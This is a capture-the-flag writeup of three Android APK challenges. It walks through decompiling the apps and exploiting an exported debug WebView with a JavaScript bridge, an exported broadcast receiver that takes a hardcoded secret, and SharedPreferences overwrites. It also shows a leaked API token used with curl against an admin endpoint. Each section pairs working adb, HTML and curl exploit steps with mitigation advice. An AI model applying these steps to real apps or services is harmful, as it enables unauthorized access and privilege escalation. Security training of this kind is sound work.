NahamCon Winter CTF 2025: Mobile Security Challenge Writeups

Welcome to my comprehensive writeups for the mobile security challenges from NahamCon Winter CTF 2025! This CTF featured some excellent Android APK reverse engineering challenges that tested our skills in static analysis, vulnerability identification, and mobile exploitation techniques.

Challenge 1: Frozen Gift

Category: Mobile Security
Difficulty: Medium
Description: Android APK reverse engineering challenge where we need to unlock the “Frost King” tier to access the ultimate prize.

Initial Analysis

Let’s start by extracting and analyzing the APK file:

# Extract the APK contents
unzip FrozenGift.apk -d extracted/

# Decompile using JADX for source code analysis
jadx -d decompiled/ FrozenGift.apk

Key Findings

After decompiling the APK, I discovered several interesting components:

1. Tier System (GiftTierManager.java)

The application implements a tier-based system:

• Basic tier: “snowflake_basic” (default)
• Premium tier: “frost_king” (our target)
• Tier information is stored in SharedPreferences: frozen_gift_prefs.xml

2. Debug WebView Vulnerability (DebugGiftWebViewActivity.java)

The most critical finding was an exported debug activity with a JavaScript bridge:

public final class SnowGiftBridge {
    @JavascriptInterface
    public final void unlockPremiumGift(String couponCode) {
        if (Intrinsics.areEqual(couponCode, GiftTierManager.TIER_PREMIUM)) {
            giftTierManager.setTier(GiftTierManager.TIER_PREMIUM);
            // Shows "Premium tier unlocked: Frost King!"
        }
    }
}

3. Flag Provider (FlagProvider.java)

The flag is retrieved through a native method:

public final native String getFlag(String tier);

Vulnerability Analysis

The application has several critical security flaws:

1. Exported Debug Activity: DebugGiftWebViewActivity can be launched externally
2. JavaScript Bridge Exposure: The SnowGiftBridge.unlockPremiumGift() method is accessible via JavaScript
3. Weak Authentication: The “coupon code” is simply “frost_king” (the tier name itself)
4. No Server Validation: Tier information is stored locally without server-side verification

Exploitation

I used two different methods to exploit this vulnerability:

Method 1: JavaScript Bridge Exploit

First, I created an HTML file to trigger the JavaScript bridge:

<!DOCTYPE html>
<html>
<body>
    <script>
        function unlockFrostKing() {
            SnowGiftBridge.unlockPremiumGift('frost_king');
        }
        window.onload = unlockFrostKing;
    </script>
    <h1>Unlocking Frost King Tier...</h1>
</body>
</html>

Then executed the exploit:

# Push the exploit file to the device
adb push exploit.html /sdcard/exploit.html

# Launch the debug activity with our exploit
adb shell am start -n com.sehno.frozengift/.DebugGiftWebViewActivity \
    --es debugUrl "file:///sdcard/exploit.html"

Method 2: Direct SharedPreferences Manipulation

Alternatively, we can directly modify the app’s SharedPreferences:

# Modify the SharedPreferences file directly
adb shell "run-as com.sehno.frozengift sh -c 'echo \"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\" standalone=\\\"yes\\\" ?><map><string name=\\\"gift_tier\\\">frost_king</string></map>\" > /data/data/com.sehno.frozengift/shared_prefs/frozen_gift_prefs.xml'"

# Restart the application
adb shell am force-stop com.sehno.frozengift
adb shell am start -n com.sehno.frozengift/.MainActivity

Result

After successfully unlocking the Frost King tier, the flag was displayed in the app interface when accessing premium content.

Challenge 2: Magic Snowfall

Category: Mobile Security
Difficulty: Medium
Description: Android APK challenge requiring us to unlock the “Aurora VIP” tier to retrieve the flag.

Analysis

Following the same decompilation process:

# Extract and decompile
unzip MagicSnowfall.apk -d extracted/
jadx -d decompiled/ MagicSnowfall.apk

Key Vulnerability: Exported BroadcastReceiver

The main vulnerability lies in SnowRewardReceiver.java:

public static final String ACTION_SNOWFALL_REWARD = "com.krypton.winterbank.ACTION_SNOWFALL_REWARD";
private static final String WEAK_SECRET = "winter2025";

The vulnerable logic accepts external broadcast intents and uses a hardcoded secret:

String bonusTier = intent.getStringExtra(EXTRA_BONUS_TIER);
if (bonusTier != null && bonusTier.length() > 0) {
    rewardManager.setTier(bonusTier);
}

Exploitation

Method 1: ADB Broadcast Intent

adb shell am broadcast \
    -a "com.krypton.winterbank.ACTION_SNOWFALL_REWARD" \
    --es "secret_key" "winter2025" \
    --es "bonus_tier" "aurora_vip" \
    --ei "bonus_points" 10000

Method 2: SharedPreferences Manipulation

# Modify SharedPreferences directly
adb shell "run-as com.sehno.magicsnowfall sh -c 'echo \"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\" standalone=\\\"yes\\\" ?><map><string name=\\\"tier\\\">aurora_vip</string><int name=\\\"points\\\" value=\\\"10000\\\" /></map>\" > /data/data/com.sehno.magicsnowfall/shared_prefs/magic_snowfall_prefs.xml'"

# Restart app
adb shell am force-stop com.sehno.magicsnowfall
adb shell am start -n com.sehno.magicsnowfall/.MainActivity

Root Cause

The vulnerabilities stem from:

• Exported BroadcastReceiver without proper access controls
• Hardcoded authentication easily discovered through static analysis
• Client-side tier validation with no server-side verification

Challenge 3: Dojo Help Center

Category: Mobile Security
Difficulty: Easy-Medium
Description: Analyze a mobile APK to find hardcoded credentials and access protected API endpoints.

Analysis Process

# Decompile the APK
jadx -d jadx_output dojo-helpcenter.apk

Finding Hardcoded Credentials

In the decompiled source code, I found hardcoded constants in Constants.java:

public class Constants {
    public static final String API_TOKEN = "ZedrlHPRBlgpmEVwB601owCiMEcIaYtn";
    public static final String BASE_URL = "https://g7uaa0gt50w5.ctfhub.io/";
    // ... other constants
}

Exploitation

Using the discovered hardcoded token, I accessed the protected admin endpoint:

curl -H "Authorization: Bearer ZedrlHPRBlgpmEVwB601owCiMEcIaYtn" \
     https://07duha560gy7.ctfhub.io/api/admin/internal

Flag: flag{3xp0s3d_Cr3ds_G03ssss_BrrRrr}

Security Lessons Learned

These challenges highlight several critical mobile security issues:

Common Vulnerabilities

1. Exported Components: Activities and BroadcastReceivers exported without proper access controls
2. Hardcoded Secrets: API tokens, passwords, and other sensitive data embedded in the APK
3. Client-Side Validation: Relying on client-side checks without server-side verification
4. Debug Code in Production: Debug activities and features left enabled in release builds

Mitigation Strategies

1. Remove Debug Code: Ensure debug activities and features are removed from production builds
2. Implement Server-Side Validation: Never trust client-side data; validate everything server-side
3. Secure Component Export: Only export components that need to be accessible externally
4. Proper Authentication: Use proper authentication mechanisms instead of hardcoded secrets
5. Code Obfuscation: While not foolproof, obfuscation can make reverse engineering more difficult

Tools and Techniques

Throughout these challenges, I used several essential tools:

• JADX: For APK decompilation and source code analysis
• ADB: For device interaction and exploitation
• Static Analysis: Reading decompiled code to identify vulnerabilities
• Dynamic Analysis: Testing exploits on running applications

Conclusion

The NahamCon Winter CTF 2025 mobile challenges provided excellent hands-on experience with Android security testing. These realistic scenarios demonstrate common vulnerabilities found in mobile applications and emphasize the importance of secure development practices.

The key takeaway is that mobile applications are just as vulnerable to traditional security issues as web applications, but they also introduce unique attack vectors through exported components, local storage, and the mobile platform’s security model.

These writeups are part of my NahamCon Winter CTF 2025 series. The challenges were well-designed and provided great learning opportunities for mobile security enthusiasts!